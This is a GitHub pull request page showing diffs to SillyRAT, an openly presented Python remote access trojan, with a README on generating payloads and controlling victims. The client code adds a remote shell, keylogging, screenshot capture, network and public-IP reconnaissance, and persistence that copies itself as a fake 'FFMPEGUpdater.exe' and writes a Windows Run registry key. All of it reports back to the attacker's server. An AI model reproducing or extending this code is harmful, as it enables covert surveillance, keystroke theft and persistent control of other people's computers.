Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

formatted code #17

Open
wants to merge 14 commits into
base: master
Choose a base branch
from
41 changes: 31 additions & 10 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
<h1 align="center">
<img src="https://user-images.githubusercontent.com/29171692/89164677-00e3e480-d595-11ea-9cf1-f27ab1faf432.png" alt="SillyRAT" /> <br>
SillyRAT
UnSillyRAT
</h1>
<p align="center">
<a href="#" target="_blank"><img src="https://img.shields.io/badge/platform-cross-important" alt="platform: cross" /></a>
Expand All @@ -13,10 +13,13 @@
<h6 align="center"><img src="https://user-images.githubusercontent.com/29171692/89173201-81104700-d5a1-11ea-8d93-f1d6eedc11c6.png"></h6>

## Getting Started

### Description
A cross platform RAT written in pure Python. The RAT accept commands alongside arguments to either perform as the server who accepts connections or to perform as the client/target who establish connections to the server. The **generate** command uses the module **pyinstaller** to compile the actual payload code. So, in order to generate payload file for your respective platform, you need to be on that platform while generating the file. Moreover, you can directly get the source file as well.

A cross platform RAT written in pure Python. The RAT accept commands alongside arguments to either perform as the server who accepts connections or to perform as the client/target who establish connections to the server. The **generate** command uses the module **pyinstaller** to compile the actual payload code. So, in order to generate payload file for your respective platform, you need to be on that platform while generating the file. Moreover, you can directly get the source file as well.

### Features

<ul>
<li>Built-in Shell for command execution</li>
<li>Dumping System Information including drives and rams</li>
Expand All @@ -30,6 +33,7 @@ A cross platform RAT written in pure Python. The RAT accept commands alongside a
</ul>

### To be expected in future

<ul>
<li>Stealth Execution</li>
<li>Encryption</li>
Expand All @@ -38,22 +42,27 @@ A cross platform RAT written in pure Python. The RAT accept commands alongside a
</ul>

### Installation
The tool is tested on **Parrot OS** with **Python 3.8**.

The tool is tested on **Parrot OS** with **Python 3.8**.
Follow the steps for installation:

```
$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt
```

## Documentation

### Generating Payload
You can get the payload file in two ways:

You can get the payload file in two ways:

<ul>
<li>Source File</li>
<li>Compiled File</li>
</ul>
The source file is to remain same on all platforms. So, you can generate it on one platform and use it on the other. Getting the source file:
The source file is to remain same on all platforms. So, you can generate it on one platform and use it on the other. Getting the source file:

```
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source
Expand All @@ -67,23 +76,28 @@ $ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/fi

<h6 align="center"><img src="https://user-images.githubusercontent.com/29171692/89173322-b74dc680-d5a1-11ea-8b3b-e5aa83cfbda1.png"></h6>

Replace your IP Address and Port on above commands.
Replace your IP Address and Port on above commands.

### Running Server

The server must be executed on Linux. You can buy a VPS or Cloud Server for connections. For the record, the server doesn't store any session from last run. So, all the progress will lost once the server application gets terminated. Running your server:

```
$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999
```

### Connections

All the connections will be listed under **sessions** command:

```
$ sessions
```

<h6 align="center"><img src="https://user-images.githubusercontent.com/29171692/89171634-152cdf00-d59f-11ea-83a6-0344f370113a.png"></h6>

You can connect to you target session with **connect** command and launch one of available commands:
You can connect to you target session with **connect** command and launch one of available commands:

```
$ connect ID
$ keylogger on
Expand All @@ -94,16 +108,23 @@ $ screenshot
<h6 align="center"><img src="https://user-images.githubusercontent.com/29171692/89172191-d9464980-d59f-11ea-988c-9986b52642e7.png"></h6>

### Help
Get a list of available commands:

Get a list of available commands:

```
$ help
```

Help on a Specific Command:

```
$ help COMMAND
```

### Support
Twitter: <a href="//twitter.com/hash3liZer">@hash3liZer</a><br>
Discord: TheFlash2k#0407
- Original
1. Twitter: <a href="//twitter.com/hash3liZer">@hash3liZer</a><br>
2. Discord: TheFlash2k#0407
- Fork (Improved)
1. Discord: `ZeaCeR#5641`
2. Website: http://hirusha.xyz
1 change: 1 addition & 0 deletions client.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
python3 unsillyrat.py generate --address 0.0.0.0 --port 6969 --output "/run/media/hirusha/Local Drive 1TB/development/Python/SillyRAT/out/payload.py" --source
63 changes: 46 additions & 17 deletions mods/client.py
Original file line number Diff line number Diff line change
@@ -1,19 +1,21 @@
class CLIENT:

SOCK = None
KEY = ")J@NcRfU"
KEY = ")J@NcRfU"
KEYLOGGER_STATUS = False
KEYLOGGER_STROKES = ""

def __init__(self, _ip, _pt):
self.ipaddress = _ip
self.port = _pt
self.port = _pt

def send_data(self, tosend, encode=True):
if encode:
self.SOCK.send(base64.encodebytes(tosend.encode('utf-8')) + self.KEY.encode('utf-8'))
self.SOCK.send(base64.encodebytes(
tosend.encode('utf-8')) + self.KEY.encode('utf-8'))
else:
self.SOCK.send(base64.encodebytes(tosend) + self.KEY.encode('utf-8'))
self.SOCK.send(base64.encodebytes(
tosend) + self.KEY.encode('utf-8'))

def turn_keylogger(self, status):
def on_press(key):
Expand All @@ -30,7 +32,7 @@ def on_release(key):
if not self.KEYLOGGER_STATUS:
return False

def logger():
def logger():
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()

Expand All @@ -47,8 +49,6 @@ def execute(self, command):
data = command.decode('utf-8').split(":")

if data[0] == "shell":

#print("Executing Shell: " + data[1])
toexecute = data[1].rstrip(" ").lstrip(" ")
toexecute = " ".join(toexecute.split())
if toexecute.split(" ")[0] == "cd":
Expand All @@ -59,15 +59,14 @@ def execute(self, command):
self.send_data("Error while changing directory!")
else:
try:
comm = subprocess.Popen(data[1], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True)
comm = subprocess.Popen(
data[1], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True)
output, errors = comm.communicate()
self.send_data(output + errors)
except FileNotFoundError:
self.send_data("No Such File or Directory")

elif data[0] == "keylogger":

#print("Executing Keylogger: " + data[1])
if data[1] == "on":
self.turn_keylogger(True)
self.send_data("")
Expand All @@ -78,17 +77,46 @@ def execute(self, command):
self.send_data(self.KEYLOGGER_STROKES)

elif data[0] == "sysinfo":

#print("Executing Sysinfo: " + data[1])
sysinfo = SYSINFO()
self.send_data(sysinfo.get_data())

elif data[0] == "screenshot":

#print("Executing Screenshot: " + data[1])
screenshot = SCREENSHOT()
self.send_data(screenshot.get_data(), encode=False)

elif data[0] == "networkinfo":
try:
adapters = ifaddr.get_adapters()
msg = ""
for adapter in adapters:
title = str("\nNetwork adapter name: '" +
adapter.nice_name + "':\n")
msg += title
for ip in adapter.ips:
desc = str(" IP: %s/%s" % (ip.ip, ip.network_prefix))
msg += desc
msg += "\n"
self.send_data(msg)
except:
msg = "- Could not get network adapters"
self.send_data(msg)

elif data[0] == "publicip":
try:
ip = requests.get('https://api.ipify.org').text
msg = f"+ PUBLIC IP: {ip}\n"
self.send_data(msg)
except:
msg = "- Could not get Public IP"
self.send_data(msg)

elif data[0] == "startup":
location = os.environ["appdata"] + "\\FFMPEGUpdater.exe"
if not os.path.exists(location):
shutil.copyfile(sys.executable, location)
subprocess.call(
'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v FFMPEGUpdater /t REG_SZ /d "' + location + '"', shell=True)

def acceptor(self):
data = ""
chunk = b""
Expand All @@ -101,14 +129,15 @@ def acceptor(self):

if self.KEY.encode('utf-8') in chunk:
data = data.rstrip(self.KEY)
t = threading.Thread(target=self.execute, args=(base64.decodebytes(data.encode('utf-8')),))
t = threading.Thread(target=self.execute, args=(
base64.decodebytes(data.encode('utf-8')),))
t.daemon = True
t.start()
data = ""

def engage(self):
self.SOCK = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

while True:
try:
print("Connecting To: %s:%d" % (self.ipaddress, self.port))
Expand All @@ -118,4 +147,4 @@ def engage(self):
time.sleep(5)
continue

self.acceptor()
self.acceptor()
4 changes: 2 additions & 2 deletions mods/consts.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
#### Constan
# Constan

CONSTIP = "127.0.0.1"
CONSTPT = 4000
CONSTPT = 4000
25 changes: 14 additions & 11 deletions mods/imports.py
Original file line number Diff line number Diff line change
@@ -1,17 +1,20 @@
import sys
import os
import socket
import time
import base64
import io
import os
import tabulate
import signal
import shlex
import platform
import io
import psutil
import shlex
import shutil
import signal
import socket
import subprocess
import sys
import threading
import pyscreenshot
import time
from datetime import datetime
from pynput.keyboard import Key, Listener

import ifaddr
import psutil
import pyscreenshot
import requests
import tabulate
from pynput.keyboard import Key, Listener
3 changes: 2 additions & 1 deletion mods/main.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,5 +3,6 @@ def main():
client = CLIENT(CONSTIP, CONSTPT)
client.engage()


if __name__ == "__main__":
main()
main()
1 change: 0 additions & 1 deletion mods/persistence.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,4 +2,3 @@ class PERSISTENCE:

def __init__(self):
pass

4 changes: 2 additions & 2 deletions mods/screenshot.py
Original file line number Diff line number Diff line change
Expand Up @@ -7,9 +7,9 @@ def __init__(self):

def generate(self):
obj = io.BytesIO()
im = pyscreenshot.grab()
im = pyscreenshot.grab()
im.save(obj, format="PNG")
self.SC_DATA = obj.getvalue()

def get_data(self):
return self.SC_DATA
return self.SC_DATA
Loading